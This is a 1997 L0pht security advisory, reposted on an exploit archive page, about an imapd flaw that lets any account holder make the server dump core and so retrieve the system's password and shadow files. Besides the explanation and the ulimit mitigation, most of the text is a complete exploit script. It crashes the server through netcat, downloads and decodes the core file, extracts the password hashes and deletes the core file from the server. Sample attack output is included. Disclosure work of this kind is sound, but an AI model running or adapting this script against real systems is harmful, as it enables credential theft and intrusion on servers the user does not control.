imapd core hole

Summary
Description:imapd can leave privileged info in core files when crashed by a user.
Author:mudge@L0PHT.COM
Compromise:Obtain shadowed password file
Vulnerable Systems:Those running imap-4.1Beta (or presumably earlier releases) on systems which allow core dumps by processes that have changed UIDs.
Date:8 October 1997
Details


Date: Wed, 8 Oct 1997 18:19:08 -0400
From: "We got Food - Fuel - Ice-cold Beer - and X.509 certificates"
     <mudge@L0PHT.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: L0pht Advisory: IMAP4rev1 imapd server


                         L0pht Security Advisory

                       Advisory released Oct 8 1997
                  Application: imapd (imap-4.1BETA from the
               IMAP 4.1 toolkit from University of Washington)
                    Severity: any user with an account
               can remotely grab the shadowed password file.
                         Author: mudge@l0pht.com
                  http://www.l0pht.com/advisories.html

Scenario:

  It is possible to crash the imapd server in several possible places.
  Due to the lack of handling for the SIGABRT signal and the nature
  of the IMAP protocol in storing folders locally on the server; a core dump
  is produced in the users current directory. This core dump contains the
  password and shadow password files from the system.

Example:

 ./imap_core.sh
usage: imap_core.sh target username password

./imap_core.sh target jdoe letmein

imap_core.sh -
  this is a quick proof of concept tool that causes some imapd
  implementations to dump core. Unfortunately the core file
  contains the password and shadow password file in it!
         .mudge [mudge@l0pht.com]

[Starting]
Built base64 decoder...

Running imap attack...

Forced server to dump core. Reconnecting to grab file and clean up!
Stripping trailing c/r from RFC822 base64 encapsulated core file
Removing imap crap from beginning and end of core.24487

Converting base64 image to binary core file...
core.24487:     ELF 32-bit MSB core file SPARC Version 1, from 'imapd'
Successfully grabbed some form of password file for target.com
  results located in ./etc_passwd.target.com
Successfully grabbed some form of shadow file for target.com
  results located in ./etc_shadow.target.foo.bar
  [note: some manual cleanup of ./etc_shadow.target.com is probably required]
[Finished]

Description:

  In several situations it is possible to make the imapd server call
  the function fatal() which is as follows in osdep/unix/ftl_unix.c:

    /* Report a fatal error
     * Accepts: string to output
     */

     void fatal (char *string)
     {
       mm_fatal (string);            /* pass up the string */
       syslog (LOG_ALERT,"IMAP toolkit crash: %.100s",string);
       abort ();                     /* die horribly */
     }

  If SIGABRT is caught and the signal handler does not return, things
  would be okay, life would go on, and Frank Zappa's death would be
  a big sick joke. However, SIGABRT is not caught or ignored. Since part
  of the beauty of the IMAP protocol is that you can maintain your
  mailboxes on the server, your directory must be writable by at least
  yourself. What happens when SIGABRT is not caught, not ignored, and
  the current direcorty is writable? core dump.

  Here are just a few of the areas where fatal() is called.

  c-client/mail.c:  if (stream->lock) fatal ("Lock when already locked");
  c-client/mail.c:  if (!stream->lock) fatal ("Unlock when not locked");
  imapd/imapd.c:  if (quell_events) fatal ("Impossible EXPUNGE event");
  osdep/unix/fs_unix.c:  if (!block) fatal ("Out of free storage");
  osdep/unix/fs_unix.c:    fatal ("Can't resize free storage");
  osdep/unix/env_unix.c:  if (myUserName) fatal ("env_init called twice!");
  osdep/unix/dummy.c:  fatal ("Impossible dummy_copy");


Solution:

  There are several places where imapd can be forced to abort(3C). There
  are also several ways to prevent each area. As opposed to forcing our
  preferred way of fixing the code and thus precluding potentially more
  ellegant patches we choose to suggest a blanket solution. This should
  allow the author of the application to fix these problems as he sees fit
  while alerting everyone (good and bad) of the problem and a stop-gap fix
  in the mean time.

  This said, we recommend that core dumps not be permitted from any application
  running out of inetd. If you need to test these things do so in a controlled
  environment. No production machine should be allowed to crap all over the
  place. "But wait!", You say, "what if we think the application is robust
  and then realize there is a problem later on. We need that core file". Face
  it, there are very few people out there that know what to do with core
  files other than rm(1) them. However, if this is the case then you
  sved yourself some heartache. Now that you know the application is not
  ready for prime time you can pull it back into a controlled environment
  and attempt to make it dump core again.

  For Solaris you can set the core dump size via the bourne shell's built-in
  ulimit command.

  /etc/init.d/inetsvc should contain the line ulimit -c 0 directly above the
  line starting off inetd.

---excerpt snip---
ulimit -c 0
/usr/sbin/inetd -s
--- excerpt snip---

  Don't forget to kill inetd and re-run the inetsvc script.

  Other OS's should check if their bourne shell has a built in ulimit and
  if not, follow whatever methods are used on their particular system to
  prevent core dumps or limit their size to 0.

  You can use the following script to test if you are vulnerable or to check
  that your fix worked. [note: you will need netcat for the script,
  netcat available from http://www.avian.org and other fine fast food
  establishments ]

Exploit code:

------cut here------

#!/bin/sh
# mudge@l0pht.com
#
# A quick little tool that shows the dangers of priveledged programs dumping
# core.
#
# Shout outs to a bunch of people - in particular Nettwerk.
# Hey Nettwerk where'd ya go?

# Programs
NC=/usr/local/bin/nc
CAT=/bin/cat
RM=/bin/rm
GREP=/bin/grep
TAIL=/bin/tail
HEAD=/bin/head
MV=/bin/mv
TR=/bin/tr
STRINGS=/bin/strings
FILE=/bin/file
CC=/usr/local/bin/gcc

# temporary command and storage files
CMDS1=nc_commands1
CMDS2=nc_commands2
DECODE64_SRC=b64.c
TMPNAM=vunlklyname
TMPFILE=tmp.$$

# compiled BASE64 decoding program
DECODE64=./b64

# core file - sometimes base64 sometimes actuall dump file
CORE=core.$$

if [ $# != 3 ] ; then
  echo "usage: `basename $0` target username password"
  exit
fi

echo
echo "[L0pht Heavy Industries - l0pht.com]"
echo "`basename $0` - "
echo "  this is a quick proof of concept tool that causes some imapd"
echo "  implementations to dump core. Unfortunately the core file  "
echo "  contains the password and shadow password file in it!"
echo "         .mudge [mudge@l0pht.com]"
echo

# command line supplied variables
TARGET=$1
USER=$2
PASS=$3

# resultant password and shadow files
PASSWD=./etc_passwd_$TARGET
SHADOW=./etc_shadow_$TARGET

# the following logs in in plaintext as opposed through X AUTHENTICATE -
# you have been forwarned...
#   login with $user $pass
#   create a folder that probably isn't there
#   select the folder
#   copy the file to another name
#     the above will cause IMAP4rev1 to crash via calling dummy_copy
#     note: there are many other ways to get this thing to crash.
cat > $CMDS1 << FOEFOE

1 LOGIN $USER $PASS
2 CREATE $TMPNAM
3 SELECT $TMPNAM
4 COPY $TMPNAM $TMPNAM.$$

FOEFOE

# login with $user $pass (again in plaintext...)
# select the core file
# retrieve the core file base64 encoded as per RFC822
# delete the core file
# delete the temporary file we created
# bye bye
cat > $CMDS2 << FOEFOE

1 LOGIN $USER $PASS
2 SELECT core
3 UID FETCH 1 (UID RFC822.SIZE RFC822)
4 DELETE core
5 DELETE $TMPNAM
4 LOGOUT

FOEFOE

# The following quick little program to decode base64 was yanked in
# big chunks from Dave Winer's code sitting on
#     http://www.scripting.com/midas/base64/source.html
# hey, credit where it's due - Dave saved me some time here.
# modest changes by: mudge@l0pht.com

cat > $DECODE64_SRC << FOEFOE

#include <stdio.h>

#define TRUE 1
#define FALSE 0

void decodefile(FILE *, FILE *);

int main(int argc, char *argv[]){
  FILE *fin, *fout;

  if (argc > 3){
    printf("Usage: %s <infile> <outfile>\n", argv[0]);
    exit(1);
  }

  switch(argc){
    case 3:
      fin = fopen(argv[1], "r");
      fout = fopen(argv[2], "w");
      if (!fin || !fout) {
        perror("fopen");
        exit(1);
      }
      break;
    case 2:
      fin = fopen(argv[1], "r");
      fout = stdout;
      if (!fin) {
        perror("fopen");
        exit(1);
      }
      break;
    case 1:
      fin = stdin;
      fout = stdout;
      break;
  }

  decodefile(fin, fout);
  close(fin);
  close(fout);
  exit(0);
}

void decodefile(FILE *fin, FILE *fout) {

  short charctr;
  int breakout;
  unsigned char ch;
  unsigned char inbuf[3], outbuf[4];
  short bufctr = 0, ignore, eot = 0;

  while ((ch = fgetc(fin))) {
    if (feof(fin)){
      close(fin);
      break;
    }

    ignore = FALSE;

    if ((ch >= 'A') && (ch <= 'Z'))
      ch = ch - 'A';
    else if ((ch >= 'a') && (ch <= 'z'))
      ch = ch - 'a' + 26;
    else if ((ch >= '0') && (ch <= '9'))
      ch = ch - '0' + 52;
    else if (ch == '+')
      ch = 62;
    else if (ch == '=')
      eot = TRUE;
    else if (ch == '/')
      ch = 63;
    else
      ignore = TRUE;

    if (!ignore) {
      charctr = 3;
      breakout = FALSE;

      if (eot) {
        if (bufctr == 0)
          break;

        if ((bufctr == 1) || (bufctr == 2))
          charctr = 1;
        else
          charctr = 2;

        bufctr = 3;
        breakout = TRUE;
      }

      inbuf[bufctr++] = ch;

      if (bufctr == 4) {
        bufctr = 0;

        outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4);
        outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2);
        outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F);

        fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]);
      }

      if (breakout)
        break;
    }
  }

}

FOEFOE

$CC -o $DECODE64 $DECODE64_SRC
if [ ! -x $DECODE64 ] ; then
  echo "failed to compile base 64 decoding utility"
  echo "stop"
  $RM -f $DECODE64_SRC $DECODE64
  exit
fi

echo "[Starting]"
echo "Built base64 decoder..."
echo
echo "Running imap attack..."

$CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE

grep -i "server crashing" $TMPFILE > /dev/null

if [ $? -eq 0 ] ; then
  echo
  echo "Forced server to dump core. Reconnecting to grab file and clean up!"
  $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE
  $RM -f $CMDS1 $CMDS2 $TMPFILE
  echo "Stripping trailing c/r from RFC822 base64 encapsulated core file"
  # interesting... I must've missed the section of rfc 1521 that stated
  # they'd make this DOS'ish
  $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file
  $MV -f $CORE.2 $CORE
else
  echo "Failed to crash server... cleaning up"
  $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC
  exit
fi

echo "Removing imap crap from beginning and end of $CORE"
VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'`
VAR=`expr $VAR + 1`
$TAIL +$VAR $CORE > $TMPFILE
VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'`
$HEAD -$VAR $TMPFILE > $CORE
$RM $TMPFILE

echo
echo "Converting base64 image to binary core file..."
$DECODE64 $CORE $TMPFILE
$MV $TMPFILE $CORE
$FILE $CORE

$STRINGS - $CORE | $GREP ':x:' > $PASSWD
$STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW

if [ -s $PASSWD ] ; then
  echo
  echo "Successfully grabbed some form of password file for $TARGET"
  echo "  results located in $PASSWD"
else
  echo "failed to create $PASSWD"
  $RM -f $PASSWD
fi

if [ -s $SHADOW ] ; then
  echo "Successfully grabbed some form of shadow file for $TARGET"
  echo "  results located in $SHADOW"
  echo "  [note: some manual cleanup of $SHADOW is probably required]"
  echo
else
  echo "failed to create $SHADOW"
  echo
  $RM -f $SHADOW
fi

$RM -f $DECODE64 $DECODE64_SRC
$MV -f $CORE core_${TARGET}
echo "[Finished]"

------cut here------


mudge@l0pht.com
---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault